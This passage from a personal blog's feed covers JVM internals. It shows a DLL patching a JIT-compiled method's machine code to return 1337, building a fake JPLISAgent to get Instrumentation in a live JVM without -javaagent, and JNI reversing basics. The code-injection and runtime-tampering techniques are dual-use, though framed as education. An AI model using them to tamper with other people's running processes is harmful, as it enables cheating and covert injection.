jne    0x000001e64d1e3b25         ; Jump to slow path if safepoint needed
</code></pre>
<p>In HotSpot on x64, <code>r15</code> is reserved as the thread pointer. Offset <code>0x20</code> contains the safepoint state. This check happens at method entry so the VM can stop threads for garbage collection</p>
<p><strong>The actual computation:</strong></p>
<pre><code class="language-asm">lea    r10d, [rdx*8]          ; r10 = x * 8 (the &lt;&lt; 3)
xor    r10d, edx              ; r10 ^= x
rorx   eax, r10d, 0x19        ; rotate right by 25 (same as left by 7)
</code></pre>
<p>The JIT has completely unrolled our loop :3 instead of 1000 iterations with branches, it&#39;s doing 16 iterations per loop cycle to reduce branch overhead, all those <code>rorx</code> instructions are our <code>Integer.rotateLeft()</code> calls, and the <code>lea</code>/<code>xor</code> pairs are the <code>acc ^= (acc &lt;&lt; 3) + i</code> operations</p>
<p>Here&#39;s the loop structure:</p>
<pre><code class="language-asm">0x000001e64d1e39e0:    mov    r8d, r10d
0x000001e64d1e39e3:    lea    r10d, [r8+rax*8]
0x000001e64d1e39e7:    xor    r10d, eax
                                                  ; ... 14 more unrolled iterations ...
0x000001e64d1e3ad2:    cmp    r10d, 0x3e1         ; Compare to 993
0x000001e64d1e3ad9:    jl     0x000001e64d1e39e0  ; Loop back if &lt; 993
</code></pre>
<p>The loop processes 16 iterations at a time, then checks if we&#39;ve hit 993 (0x3E1). A cleanup loop handles the remaining iterations</p>
<p><strong>Method epilogue:</strong></p>
<pre><code class="language-asm">0x000001e64d1e3afc:    add    rsp, 0x10                   ; Clean up stack
0x000001e64d1e3b00:    pop    rbp                         ; Restore frame pointer
0x000001e64d1e3b01:    cmp    rsp, qword ptr [r15+0x450]  ; Stack overflow check
0x000001e64d1e3b08:    ja     0x000001e64d1e3b0f          ; Jump if overflow
0x000001e64d1e3b0e:    ret                                ; Return to caller
</code></pre>
<p>The <code>cmp rsp, [r15+0x450]</code> is checking for stack overflow before returning. If the stack pointer is above the limit stored in the thread structure, it jumps to a handler.</p>
<h2>The Hijack</h2>
<p>Now for the cool part. All we need to do is overwrite the first few bytes at the entry point. The JVM will jump to this address expecting compiled code and execute whatever we put there.</p>
<p>Let&#39;s replace the method with something simpler:</p>
<pre><code class="language-asm">mov eax, 1337    ; B8 39 05 00 00
ret              ; C3
</code></pre>
<p>That&#39;s all it takes. The method now ignores its input, skips all the computation, and returns 1337 :3</p>
<p>Using a DLL attached to the VM, we can do:</p>
<pre><code class="language-cpp">uint8_t thingy[] = {0xB8, 0x39, 0x05, 0x00, 0x00, 0xC3};

DWORD old;
VirtualProtect((void*)entryAddr, sizeof(thingy), PAGE_EXECUTE_READWRITE, &amp;old);
memcpy((void*)entryAddr, thingy, sizeof(thingy));
VirtualProtect((void*)entryAddr, sizeof(thingy), old, &amp;old);
</code></pre>
<p>We need <code>VirtualProtect</code> because the CodeCache is executable but not writable by default. We temporarily make it writable, patch it, and then restore the original protection. On Linux, you would use <code>mprotect</code> instead.</p>
<h2>The Result</h2>
<p>After patching, the console shows:</p>
<pre><code>[4500 calls] expensiveMethod(67) = -990666027
[5000 calls] expensiveMethod(67) = -990666027
[!] Result changed: -990666027 -&gt; 1337
[5500 calls] expensiveMethod(67) = 1337
[6000 calls] expensiveMethod(67) = 1337
</code></pre>
<p>The <code>[!] Result changed</code> line appears the instant our patch hits. The VM is now executing our payload, completely unaware that the &quot;compiled&quot; method no longer matches its bytecode</p>
<h2>Conclusion</h2>
<p>We have seen how HotSpot&#39;s trust model works: bytecode is verified, but compiled code is trusted. By locating the <code>Method*</code>, following its <code>_code</code> pointer to the <code>nmethod</code>, and patching the entry point, we can make a Java method do whatever we want.</p>
<p>Is this especially useful? Probably not. It is, however, very interesting :O</p>
<p>Thanks for reading! :3</p>
]]></content:encoded>
    </item>
    <item>
      <title>VM Instrumentation Without an Agent</title>
      <link>https://aprl.pet/writing/vm-instrumentation-without-an-agent</link>
      <guid isPermaLink="true">https://aprl.pet/writing/vm-instrumentation-without-an-agent</guid>
      <pubDate>Sat, 08 Nov 2025 12:00:00 GMT</pubDate>
      <description>How to get java.lang.instrument.Instrumentation without -javaagent</description>
      <category>jvm</category>
      <category>java</category>
      <category>internals</category>
      <category>instrumentation</category>
      <category>jvmti</category>
      <content:encoded><![CDATA[<h1>VM Instrumentation Without an Agent</h1>
<p>The Java Instrumentation API is typically accessed through the <code>-javaagent</code> command line flag, but what if you want instrumentation capabilities in an already running process? Today I&#39;ll show you how to create a fully functional <code>Instrumentation</code> object without ever using <code>-javaagent</code>.</p>
<h2>The &#39;What&#39; and &#39;Why&#39; of Instrumentation</h2>
<p>Before we dive into the native-side &quot;how,&quot; let&#39;s quickly cover the &quot;what&quot; and &quot;why.&quot;</p>
<p>So, what even <em>is</em> instrumentation? At its core, the <code>java.lang.instrument</code> API is a way to hook into the JVM&#39;s class-loading process. It lets you get the raw bytecode of a class <em>before</em> it&#39;s used, and you can change it. This is called &quot;transforming.&quot; You can add logging, check for security stuff, or monitor performance, all without touching the original <code>.java</code> file.</p>
<p>This Java API is just a nice wrapper around a deeper, native layer. This is the <strong>JVMTI</strong> (JVM Tool Interface). To do the <em>really</em> cool stuff, like redefining classes that are <em>already</em> loaded, the native code needs to ask the JVM for permission. These permissions are called <strong>capabilities</strong>, like <code>can_redefine_classes</code> or <code>can_retransform_classes</code>.</p>
<p>This brings us to the whole point of this post. The standard <code>-javaagent</code> flag is great, but you have to specify it on the command line <em>before</em> the process starts. What if you want to attach a profiler or a security tool to a Java server that&#39;s <em>already running</em> and you can&#39;t restart it? This technique shows you how to bypass the normal startup requirements, build all the internal JVM structures by hand, and get a fully-powered <code>Instrumentation</code> object in a live process.</p>
<h2>The Standard Approach</h2>
<p>Normally, you&#39;d get instrumentation like this</p>
<pre><code class="language-java">// Agent.java
public class Agent {
    public static void premain(String args, Instrumentation inst) {
        // inst is provided by the JVM
        inst.addTransformer(new MyTransformer());
    }
}
</code></pre>
<p>Then run with</p>
<pre><code class="language-bash">java -javaagent:agent.jar -jar application.jar
</code></pre>
<p>The JVM creates an <code>Instrumentation</code> instance and passes it to your <code>premain</code> method, but what actually happens under the hood?</p>
<h2>JPLIS Internals</h2>
<p>The Java programming language Instrumentation services (JPLIS) is the native component that implements the Instrumentation API. When you use <code>-javaagent</code>, the JVM loads your agent jar and creates a native <code>JPLISAgent</code> structure.</p>
<p>This structure lives in <code>JPLISAgent.h</code> and looks like this</p>
<pre><code class="language-c">// from JPLISAgent.h
struct _JPLISAgent {
    JavaVM* mJVM;
    JPLISEnvironment mNormalEnvironment;
    JPLISEnvironment mRetransformEnvironment;
    jobject mInstrumentationImpl; // handle to the Instrumentation instance
    jmethodID mPremainCaller;
    jmethodID mAgentmainCaller;
    jmethodID mTransform;
    jboolean mRedefineAdded;
    jboolean mNativeMethodPrefixAdded;
    // ... more fields
};
</code></pre>
<p>The key insight is that <code>sun.instrument.InstrumentationImpl</code> (the concrete implementation of the <code>Instrumentation</code> interface) is just a regular Java class that wraps this native structure. In the Java class, this is stored in a <code>long</code> field</p>
<pre><code class="language-java">// from sun.instrument.InstrumentationImpl.java
// needs to store a native pointer, so use 64 bits
private final     long            mNativeAgent;
</code></pre>
<p>Its constructor signature is</p>
<pre><code class="language-java">// from sun.instrument.InstrumentationImpl.java
private
InstrumentationImpl(long   nativeAgent,
                    boolean environmentSupportsRedefineClasses,
                    boolean environmentSupportsNativeMethodPrefix,
                    boolean printWarning) {
    mNativeAgent = nativeAgent;
    // ...
}
</code></pre>
<p>The first parameter is a pointer to the native <code>JPLISAgent</code> structure, cast to a <code>long</code>. The JVM doesn&#39;t actually validate that this pointer came from a legitimate agent loading process. it just stores it and uses it when you call Instrumentation methods.</p>
<h2>Getting JVMTI Without an Agent</h2>
<p>Before we can create a fake agent, we need JVMTI access. Normally this requires loading a native agent with <code>-agentlib</code>, but there&#39;s a simpler way.</p>
<p>From any native code running in the process, you can get the JVM handle</p>
<pre><code class="language-cpp">JavaVM* jvm = nullptr;
jsize vmCount = 0;
JNI_GetCreatedJavaVMs(&amp;jvm, 1, &amp;vmCount);
</code></pre>
<p><code>JNI_GetCreatedJavaVMs</code> is part of the JNI Invocation API and returns handles to all JVMs in the current process. Once you have the <code>JavaVM*</code>, getting JVMTI is trivial</p>
<pre><code class="language-cpp">jvmtiEnv* jvmti = nullptr;
jvm-&gt;GetEnv((void**)&amp;jvmti, JVMTI_VERSION_1_2);
</code></pre>
<p>Now you have full JVMTI access without any agent setup. But there&#39;s a catch, many JVMTI capabilities (like <code>can_retransform_classes</code>) can only be added during the <code>OnLoad</code> phase, which happens before the JVM fully starts up. If you try adding them later, you&#39;ll get <code>JVMTI_ERROR_NOT_AVAILABLE</code>.</p>
<p>This is where the fake agent trick comes in.</p>
<h2>Creating a Fake JPLISAgent</h2>
<p>The trick is to manually construct a <code>JPLISAgent</code> structure that looks exactly like one the JVM would have created during proper agent loading. First, we need to replicate the structure layout from <code>JPLISAgent.h</code></p>
<pre><code class="language-cpp">struct _JPLISEnvironment {
    jvmtiEnv* mJVMTIEnv;
    JPLISAgent* mAgent;
    jboolean mIsRetransformer;
};

// this is the full struct from JPLISAgent.h
struct _JPLISAgent {
    JavaVM* mJVM;
    JPLISEnvironment mNormalEnvironment;
    JPLISEnvironment mRetransformEnvironment;
    jobject mInstrumentationImpl;
    jmethodID mPremainCaller;
    jmethodID mAgentmainCaller;
    jmethodID mTransform;
    jboolean mRedefineAvailable;
    jboolean mRedefineAdded;
    jboolean mNativeMethodPrefixAvailable;
    jboolean mNativeMethodPrefixAdded;
    char const* mAgentClassName;
    char const* mOptionsString;
    const char* mJarfile;
    jboolean mPrintWarning;
};
</code></pre>
<p>These structures must match OpenJDK&#39;s internal layout <strong>exactly</strong>, as the JVM will dereference this pointer when you use instrumentation methods. Any misalignment will cause crashes.</p>
<p>Now we create and initialise the fake agent</p>
<pre><code class="language-cpp">JPLISAgent* createDummyAgent(JavaVM* vm, jvmtiEnv* jvmti) {
    // allocate using JVMTI so it&#39;s in the right memory space
    JPLISAgent* agent = (JPLISAgent*)allocate(jvmti, sizeof(JPLISAgent));
    
    agent-&gt;mJVM = vm;
    agent-&gt;mNormalEnvironment.mJVMTIEnv = jvmti;
    agent-&gt;mNormalEnvironment.mAgent = agent;
    agent-&gt;mNormalEnvironment.mIsRetransformer = JNI_FALSE;
    
    // critical: leave this null
    agent-&gt;mRetransformEnvironment.mJVMTIEnv = nullptr;
    agent-&gt;mRetransformEnvironment.mAgent = agent;
    agent-&gt;mRetransformEnvironment.mIsRetransformer = JNI_TRUE;
    
    agent-&gt;mRedefineAdded = JNI_TRUE;
    agent-&gt;mNativeMethodPrefixAdded = JNI_TRUE;
    // ... initialise other fields
    
    // store in JVMTI local storage so callbacks can find it
    jvmti-&gt;SetEnvironmentLocalStorage(&amp;agent-&gt;mNormalEnvironment);
    
    return agent;
}
</code></pre>
<p>The <code>SetEnvironmentLocalStorage</code> call is <strong>crucial</strong>. When JVMTI callbacks fire (like <code>ClassFileLoadHook</code>), the VM retrieves the agent structure using <code>GetEnvironmentLocalStorage</code>. If it&#39;s not set, callbacks won&#39;t work properly. This is exactly what the real <code>initializeJPLISAgent</code> in <code>JPLISAgent.c</code> does</p>
<pre><code class="language-c">// from JPLISAgent.c
JPLISInitializationError
initializeJPLISAgent(   JPLISAgent * agent,
                        JavaVM * vm,
                        jvmtiEnv * jvmtienv,
                        /*...*/) {
    // ...
    /* make sure we can recover either handle in either direction.
    * the agent has a ref to the jvmti; make it mutual
    */
    jvmtierror = (*jvmtienv)-&gt;SetEnvironmentLocalStorage(
                                            jvmtienv,
                                            &amp;(agent-&gt;mNormalEnvironment));
    /* can be called from any phase */
    jplis_assert(jvmtierror == JVMTI_ERROR_NONE);
    // ...
}
</code></pre>
<p>We&#39;re just replicating the official setup.</p>
<p>There&#39;s a <em>subtle</em> trick with the retransform environment. By setting <code>mRetransformEnvironment.mJVMTIEnv = nullptr</code> but <code>mNormalEnvironment.mJVMTIEnv = jvmti</code>, we force the JVM to register the class file load hook in the normal environment. this is handled by the <code>retransformableEnvironment</code> function in <code>JPLISAgent.c</code>, which checks if the retransform environment already exists before creating a new one</p>
<pre><code class="language-c">// from JPLISAgent.c
jvmtiEnv *
retransformableEnvironment(JPLISAgent * agent) {
    jvmtiEnv * retransformerEnv       = NULL;
    // ...

    if (agent-&gt;mRetransformEnvironment.mJVMTIEnv != NULL) {
        return agent-&gt;mRetransformEnvironment.mJVMTIEnv;
    }
    jnierror = (*agent-&gt;mJVM)-&gt;GetEnv(  agent-&gt;mJVM,
                                    (void **) &amp;retransformerEnv,
                                    JVMTI_VERSION_1_1);
    // ...
    // ... add can_retransform_classes capability ...
    // ...
    jvmtierror = (*retransformerEnv)-&gt;AddCapabilities(retransformerEnv, &amp;desiredCapabilities);
    // ...
    // install the retransforming environment
    agent-&gt;mRetransformEnvironment.mJVMTIEnv = retransformerEnv;
    agent-&gt;mRetransformEnvironment.mIsRetransformer = JNI_TRUE;
    // ...
    return retransformerEnv;
}
</code></pre>
<p>By leaving our <code>mRetransformEnvironment.mJVMTIEnv</code> as <code>NULL</code>, we trick the instrumentation layer into using the normal environment for retransformation, which is what we want.</p>
<h2>Instantiating InstrumentationImpl</h2>
<p>Now comes the clever bit, directly instantiating <code>sun.instrument.InstrumentationImpl</code> via JNI.</p>
<pre><code class="language-cpp">jobject createInstrumentation(JavaVM* vm, JNIEnv* env, jvmtiEnv* jvmti) {
    JPLISAgent* agent = createDummyAgent(vm, jvmti);
    
    jclass instClass = env-&gt;FindClass(&quot;sun/instrument/InstrumentationImpl&quot;);
    jmethodID constructor = env-&gt;GetMethodID(
        instClass,
        &quot;&lt;init&gt;&quot;,
        &quot;(JZZZ)V&quot;  // (long agentPtr, boolean, boolean, boolean)
    );
    
    jlong agentPtr = (jlong)(intptr_t)agent;
    jobject inst = env-&gt;NewObject(
        instClass,
        constructor,
        agentPtr,
        agent-&gt;mRedefineAdded,       // boolean
        agent-&gt;mNativeMethodPrefixAdded, // boolean
        JNI_FALSE                  // boolean (printWarning)
    );
    
    // make it global so it doesn&#39;t get GC&#39;d
    inst = env-&gt;NewGlobalRef(inst);
    
    // cache the transform method
    jmethodID transformMethod = env-&gt;GetMethodID(instClass, 
        &quot;transform&quot;,
        &quot;(Ljava/lang/Module;Ljava/lang/ClassLoader;Ljava/lang/String;&quot;
        &quot;Ljava/lang/Class;Ljava/security/ProtectionDomain;[BZ)[B&quot;
    );
    
    agent-&gt;mInstrumentationImpl = inst; // IMPORTANT: store the java object back into the native struct
    agent-&gt;mTransform = transformMethod;
    
    return inst;
}
</code></pre>
<p>This directly mimics the VM&#39;s own <code>createInstrumentationImpl</code> function in <code>JPLISAgent.c</code>, which is called during the <code>VMInit</code> phase</p>
<pre><code class="language-c">// from JPLISAgent.c
jboolean
createInstrumentationImpl( JNIEnv * jnienv,
                           JPLISAgent * agent) {
    // ...
    implClass = (*jnienv)-&gt;FindClass(   jnienv,
                                        JPLIS_INSTRUMENTIMPL_CLASSNAME);
    // ...
    constructorID = (*jnienv)-&gt;GetMethodID( jnienv,
                                            implClass,
                                            JPLIS_INSTRUMENTIMPL_CONSTRUCTOR_METHODNAME,
                                            JPLIS_INSTRUMENTIMPL_CONSTRUCTOR_METHODSIGNATURE);
    // ...
    jlong   peerReferenceAsScalar = (jlong)(intptr_t) agent;
    localReference = (*jnienv)-&gt;NewObject(  jnienv,
                                            implClass,
                                            constructorID,
                                            peerReferenceAsScalar,
                                            agent-&gt;mRedefineAdded,
                                            agent-&gt;mNativeMethodPrefixAdded,
                                            agent-&gt;mPrintWarning);
    // ...
    resultImpl = (*jnienv)-&gt;NewGlobalRef(jnienv, localReference);
    // ...
    agent-&gt;mInstrumentationImpl = resultImpl;
    agent-&gt;mTransform           = transformMethodID;
    // ...
    return !errorOutstanding;
}
</code></pre>
<p>As you can see, our &quot;trick&quot; is just a recreation of the VM&#39;s own setup process. The JVM doesn&#39;t validate this pointer at construction time, it just stores it as a field.</p>
<h2>Adding Capabilities</h2>
<p>There&#39;s still one problem, we need to add JVMTI capabilities, but we&#39;re past the <code>OnLoad</code> phase. Surprisingly, this actually works</p>
<pre><code class="language-cpp">jvmtiCapabilities caps = {};
caps.can_redefine_classes = 1;
caps.can_retransform_classes = 1;
caps.can_retransform_any_class = 1;
caps.can_set_native_method_prefix = 1;

jvmti-&gt;AddCapabilities(&amp;caps);
</code></pre>
<p>So, while the documentation says these capabilities should only be added during <code>OnLoad</code>, <em>in practice</em> OpenJDK allows them to be added later. The VM just won&#39;t retroactively affect classes which have already been loaded. But for new classes and explicitly retransformed classes, it actually works fine.</p>
<p>This is, again, exactly how the agent itself adds capabilities when they&#39;re requested by <code>Instrumentation</code> methods</p>
<pre><code class="language-c">// from JPLISAgent.c
void
addRedefineClassesCapability(JPLISAgent * agent) {
    jvmtiEnv * jvmtienv = jvmti(agent);
    jvmtiCapabilities desiredCapabilities;
    jvmtiError        jvmtierror;

    if (agent-&gt;mRedefineAvailable &amp;&amp; !agent-&gt;mRedefineAdded) {
        jvmtierror = (*jvmtienv)-&gt;GetCapabilities(jvmtienv, &amp;desiredCapabilities);
        /* can be called from any phase */
        jplis_assert(jvmtierror == JVMTI_ERROR_NONE);
        desiredCapabilities.can_redefine_classes = 1;
        jvmtierror = (*jvmtienv)-&gt;AddCapabilities(jvmtienv, &amp;desiredCapabilities);
        check_phase_ret(jvmtierror);
        
        // ...
        if (jvmtierror == JVMTI_ERROR_NONE) {
            agent-&gt;mRedefineAdded = JNI_TRUE;
        }
    }
}
</code></pre>
<p>The agent adds capabilities lazily, so we can too.</p>
<h2>Conclusion</h2>
<p>The Java instrumentation API seems like it requires <code>-javaagent</code>, but that&#39;s just the standard entry point. By understanding JPLIS internals and carefully constructing the native structures the JVM expects, we can create a fully functional <code>Instrumentation</code> object from scratch.</p>
<p>Thank you for reading &lt;3</p>
]]></content:encoded>
    </item>
    <item>
      <title>Reversing JNI: Part 1</title>
      <link>https://aprl.pet/writing/reversing-jni-part-1</link>
      <guid isPermaLink="true">https://aprl.pet/writing/reversing-jni-part-1</guid>
      <pubDate>Thu, 07 Aug 2025 12:00:00 GMT</pubDate>
      <description>Going over the basics of the JVM and how to reverse engineer JNI libraries.</description>
      <category>reverse engineering</category>
      <category>jvm</category>
      <category>jni</category>
      <category>tutorial</category>
      <content:encoded><![CDATA[<h1>Reversing JNI: Part 1</h1>
<h2>Reversing JNI Libraries: Understanding the Foundation</h2>
<p>JNI is everywhere nowadays! From being used for transpilation to sophisticated malware attempting to stay hidden, as more developers turn to native code for speed &amp; obfuscation, and as more threats leverage JNI for evasion, understanding how to reverse engineer these libraries has become essential. I&#39;ll walk you through everything you need to know about handling them :3 </p>
<h2>What We&#39;ll Cover</h2>
<p>In this first part, we&#39;re going to establish the groundwork you&#39;ll need before diving into actual reversing techniques. We&#39;ll explore how the JVM works under the hood, what JNI actually is, and how Java communicates with native code.</p>
<h2>Lib Loading</h2>
<p>So when you call <code>System.loadLibrary(&quot;owo&quot;)</code> in your Java code, the JVM does some magic behind the scenes! It maps this to the actual library file using platform specific naming. <code>libowo.so</code> on Linux, <code>owo.dll</code> on Windows, or <code>libowo.dylib</code> on macOS. The JVM then searches through all the directories in <code>java.library.path</code> to find your library.</p>
<p>But here&#39;s where it gets interesting for us! If the library has a <code>JNI_OnLoad</code> function exported, the JVM calls it immediately after loading.</p>
<pre><code class="language-c">JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
    // malware especially tend to init here
    return JNI_VERSION_1_8;
}
</code></pre>
<p>Also, each ClassLoader maintains its own list of loaded libraries, and the JVM keeps separate symbol namespaces for each one. This means you can actually load multiple versions of the same library without conflicts.</p>
<h2>Method Resolution</h2>
<p>JNI method resolution has two main approaches, and both are important when you&#39;re trying to figure out whats happening:</p>
<h3>Static Resolution</h3>
<p>The JVM looks for native methods using a somewhat predictable naming scheme: <code>Java_package_Class_methodName</code>. So if you have a <code>native void purr()</code> method in class <code>cat.aprl.meow</code>, the JVM will search for:</p>
<pre><code class="language-c">JNIEXPORT void JNICALL Java_cat_aprl_meow_purr(JNIEnv *env, jobject obj)
</code></pre>
<p><strong>But wait!</strong> If you&#39;re dealing with C++ code, watch out for name mangling. The actual symbol might look like <code>_Z15Java_cat_aprl_meow_purrP7_JNIEnvP7_jclass</code> instead of the nice clean <code>Java_cat_aprl_meow_purr</code> you&#39;d expect.</p>
<h3>Dynamic Registration</h3>
<p>Here&#39;s where things get interesting! More sophisticated code (especially malware/transpilers) uses <code>RegisterNatives()</code> to bind methods dynamically, bypassing the VM&#39;s naming convention.</p>
<pre><code class="language-c">JNINativeMethod methods[] = {
    {&quot;eviluwu&quot;, &quot;()V&quot;, (void*)&amp;evil_function_colon_three}
};
(*env)-&gt;RegisterNatives(env, clazz, methods, 1);
</code></pre>
<p>This is way harder to reverse since the connection between Java method names and native functions only exists at runtime.
Making static analysis a lot more annoying, it&#39;s common with malware and transpilers such as JNIC</p>
<h2>The JNI Bridge</h2>
<p>The JNI bridge has two main components: <code>JavaVM</code> (the actual VM instance) and <code>JNIEnv</code> (your thread local gateway to Java).</p>
<h3>JNIEnv</h3>
<p>The JNIEnv pointer is thread local storage. You cannot share it between threads. In C, it&#39;s a pointer to a function table. In C++, it&#39;s a class that wraps those function calls.</p>
<p>Every single interaction with Java goes through this interface:</p>
<pre><code class="language-c">// All your JNI calls kinda look like this
jstring str = (*env)-&gt;NewStringUTF(env, &quot;Hawk tuah!&quot;);
jclass clazz = (*env)-&gt;FindClass(env, &quot;cat/aprl/aeaeaeae&quot;);
</code></pre>
<p>the JVM creates a registry for each Java to native transition, mapping local references to Java objects and making sure they don&#39;t get garbage collected until your native method returns.</p>
<h3>The Memory Model</h3>
<p>This is very important for understanding JNI code, Java objects live in the managed heap, whilst your native code operates in the native heap. You never get direct pointers to Java objects. Everything goes through the JNIEnv interface. This is actually a security feature, but it also makes reverse engineering a bit more interesting!</p>
<h3>Thread Attachment</h3>
<p>If native code needs to call back to Java from a different thread, it has to attach that thread first using <code>AttachCurrentThread()</code>:</p>
<pre><code class="language-c">JavaVM *jvm; // We got this earlier with GetJavaVM()
JNIEnv *env;
(*jvm)-&gt;AttachCurrentThread(jvm, (void**)&amp;env, NULL);
// Now env is valid for this thread
(*jvm)-&gt;DetachCurrentThread(jvm); // Clean up
</code></pre>
<p>You&#39;ll see this pattern a lot, especially in transpilation mainly because it needs to constantly go back and forth with the VM.</p>
<h2>JNI Data Types &amp; Signatures</h2>
<p>Alright, let&#39;s talk about how Java types map to JNI types, because this is pretttyyyy crucial when you&#39;re trying to understand what&#39;s going on in native.</p>
<h3>Type Mappings</h3>
<p>Here&#39;s how Java types translate to JNI:</p>
<table>
<thead>
<tr>
<th>Java Type</th>
<th>JNI Type</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td><code>boolean</code></td>
<td><code>jboolean</code></td>
<td>8-bit unsigned</td>
</tr>
<tr>
<td><code>byte</code></td>
<td><code>jbyte</code></td>
<td>8-bit signed</td>
</tr>
<tr>
<td><code>char</code></td>
<td><code>jchar</code></td>
<td>16-bit unsigned</td>
</tr>
<tr>
<td><code>short</code></td>
<td><code>jshort</code></td>
<td>16-bit signed</td>
</tr>
<tr>
<td><code>int</code></td>
<td><code>jint</code></td>
<td>32-bit signed</td>
</tr>
<tr>
<td><code>long</code></td>
<td><code>jlong</code></td>
<td>64-bit signed</td>
</tr>
<tr>
<td><code>float</code></td>
<td><code>jfloat</code></td>
<td>32-bit IEEE 754</td>
</tr>
<tr>
<td><code>double</code></td>
<td><code>jdouble</code></td>
<td>64-bit IEEE 754</td>
</tr>
<tr>
<td><code>String</code></td>
<td><code>jstring</code></td>
<td>Reference to Java string</td>
</tr>
<tr>
<td><code>Object</code></td>
<td><code>jobject</code></td>
<td>Reference to any Java object</td>
</tr>
<tr>
<td><code>Class</code></td>
<td><code>jclass</code></td>
<td>Reference to Java class object</td>
</tr>
<tr>
<td><code>int[]</code></td>
<td><code>jintArray</code></td>
<td>Reference to Java int array</td>
</tr>
<tr>
<td><code>Object[]</code></td>
<td><code>jobjectArray</code></td>
<td>Reference to Java object array</td>
</tr>
</tbody></table>
<h3>Method Signatures</h3>
<p>This is where it gets a bit more interesting.!? JNI uses a specific encoding for method signatures that looks absolutely unreadable at first glance. although they&#39;re actually pretttyyy easy to understand, Here&#39;s their pattern:</p>
<pre><code>(parameter_types)return_type
</code></pre>
<p>The signature characters you&#39;ll see everywhere:</p>
<table>
<thead>
<tr>
<th>Signature</th>
<th>Java Type</th>
</tr>
</thead>
<tbody><tr>
<td><code>Z</code></td>
<td>boolean</td>
</tr>
<tr>
<td><code>B</code></td>
<td>byte</td>
</tr>
<tr>
<td><code>C</code></td>
<td>char</td>
</tr>
<tr>
<td><code>S</code></td>
<td>short</td>
</tr>
<tr>
<td><code>I</code></td>
<td>int</td>
</tr>
<tr>
<td><code>J</code></td>
<td>long</td>
</tr>
<tr>
<td><code>F</code></td>
<td>float</td>
</tr>
<tr>
<td><code>D</code></td>
<td>double</td>
</tr>
<tr>
<td><code>V</code></td>
<td>void (return only)</td>
</tr>
<tr>
<td><code>Ljava/lang/String;</code></td>
<td>String</td>
</tr>
<tr>
<td><code>[I</code></td>
<td>int[]</td>
</tr>
<tr>
<td><code>[[I</code></td>
<td>int[][]</td>
</tr>
</tbody></table>
<h3>Real Examples</h3>
<p>Let&#39;s look at some actual method signatures you&#39;ll encounter:</p>
<pre><code class="language-c">// void hawkTuah()
&quot;()V&quot;

// int calculate(int a, int b)
&quot;(II)I&quot; 

// String meowLoudly(String input, boolean flag)
&quot;(Ljava/lang/String;Z)Ljava/lang/String;&quot;

// void meowArray(int[] numbers)
&quot;([I)V&quot;

// Object[][] getMatrix()
&quot;()[[Ljava/lang/Object;&quot;
</code></pre>
<p>Notice how class names use forward slashes instead of dots, and they&#39;re wrapped in <code>L...;</code>. Arrays get <code>[</code> prefixes for each dimension.</p>
<h3>Where You&#39;ll See This</h3>
<p>You&#39;ll encounter these signatures most commonly in:</p>
<pre><code class="language-c">// finding methods dynamically
jmethodID methodID = (*env)-&gt;GetMethodID(env, clazz, &quot;meowLoudly&quot;, 
                                       &quot;(Ljava/lang/String;Z)Ljava/lang/String;&quot;);

// dynamic native method registration  
JNINativeMethod methods[] = {
    {&quot;transRights&quot;, &quot;(I)V&quot;, (void*)&amp;trans_Rights},
    {&quot;ummMeow&quot;, &quot;([BZ)Ljava/lang/String;&quot;, (void*)&amp;umm_Meow}
};
</code></pre>
<p>When you&#39;re reversing, signatures are pretty important for understanding what parameters a function expects and what it returns. Malware often tries to obfuscate the method names, but the signatures usually give away exactly what data types it&#39;s working with, isn&#39;t completely unique to native either.</p>
<h2>Reference Management</h2>
<p>Alright, this is where JNI gets a bit weird and where a lot of people mess up. JNI has it&#39;s own reference system that you need to understand when you&#39;re reversing.</p>
<h3>Local vs Global References</h3>
<p>By default, every Java object you get from JNI functions is a <strong>local reference</strong>. These are automatically cleaned up when your native method returns, but here&#39;s the thing, you&#39;re limited to about 16 local references at a time.</p>
<pre><code class="language-c">// These are all local references
jstring str = (*env)-&gt;NewStringUTF(env, &quot;meow&quot;);
jclass clazz = (*env)-&gt;FindClass(env, &quot;cat/aprl/aeaeaeae&quot;);
jobject obj = (*env)-&gt;NewObject(env, clazz, constructor);
// The VM will clean these up when the method exits
</code></pre>
<p>But what if you want to keep a reference around longer? That&#39;s when a <strong>global references</strong> should be used:</p>
<pre><code class="language-c">// Convert local to global reference
jclass localClazz = (*env)-&gt;FindClass(env, &quot;cat/aprl/meow&quot;);
jclass globalClazz = (*env)-&gt;NewGlobalRef(env, localClazz);

// Clean up the local reference immediately
(*env)-&gt;DeleteLocalRef(env, localClazz);

// Now globalClazz can be used across method calls and threads
(*env)-&gt;DeleteGlobalRef(env, globalClazz);
</code></pre>
<h3>The 16 Reference Limit</h3>
<p>This is where things get interesting. The JVM only gives you 16 local reference slots. If you create more without cleaning up, you&#39;ll crash the VM. You&#39;ll often see code like the following:</p>
<pre><code class="language-c">// Processing a large array, need to clean up as we go
for (int i = 0; i &lt; huge_array_length; i++) {
    jobject item = (*env)-&gt;GetObjectArrayElement(env, array, i);
    
    // Doing thingys uhhh :3
    
    // Clean up immediately to avoid hitting the limit
    (*env)-&gt;DeleteLocalRef(env, item);
}
</code></pre>
<p>Or sometimes you&#39;ll see something like this instead</p>
<pre><code class="language-c">// Request more local reference slots upfront
(*env)-&gt;EnsureLocalCapacity(env, 50);
// Now we can safely create 50 local references
</code></pre>
<h2>Wrapping Up</h2>
<p>And that&#39;s the foundation! we&#39;ve covered the fundamentals of the VM that we&#39;ll need when reversing JNI libraries.</p>
<p>In Part 2, we&#39;ll start actually reversing stuff, whether it&#39;s transpilation, minecraft cheats with native obfuscation or malware, until then try poking around with stuff yourself!</p>
<p>Thanks for reading, and I&#39;ll see you in Part 2! :3</p>
]]></content:encoded>
    </item>
    <item>
      <title>My new Google Pixel 9 Pro</title>
      <link>https://aprl.pet/writing/my-pixel-9-pro</link>
      <guid isPermaLink="true">https://aprl.pet/writing/my-pixel-9-pro</guid>
      <pubDate>Sun, 04 May 2025 12:00:00 GMT</pubDate>
      <description>My first impressions of the Google Pixel 9 Pro after years of using an iPhone.</description>
      <category>tech</category>
      <category>android</category>
      <category>review</category>
      <content:encoded><![CDATA[<h1>My new Google Pixel 9 Pro</h1>
<p>After years of using Apple devices, I finally switched to Android with the Google Pixel 9 Pro. I had been tied into the Apple ecosystem for a long time, so changing phones felt like a much bigger decision than it probably should have been. As soon as I opened the box, though, I had a feeling I was going to enjoy it.</p>
<h2>Why I switched</h2>
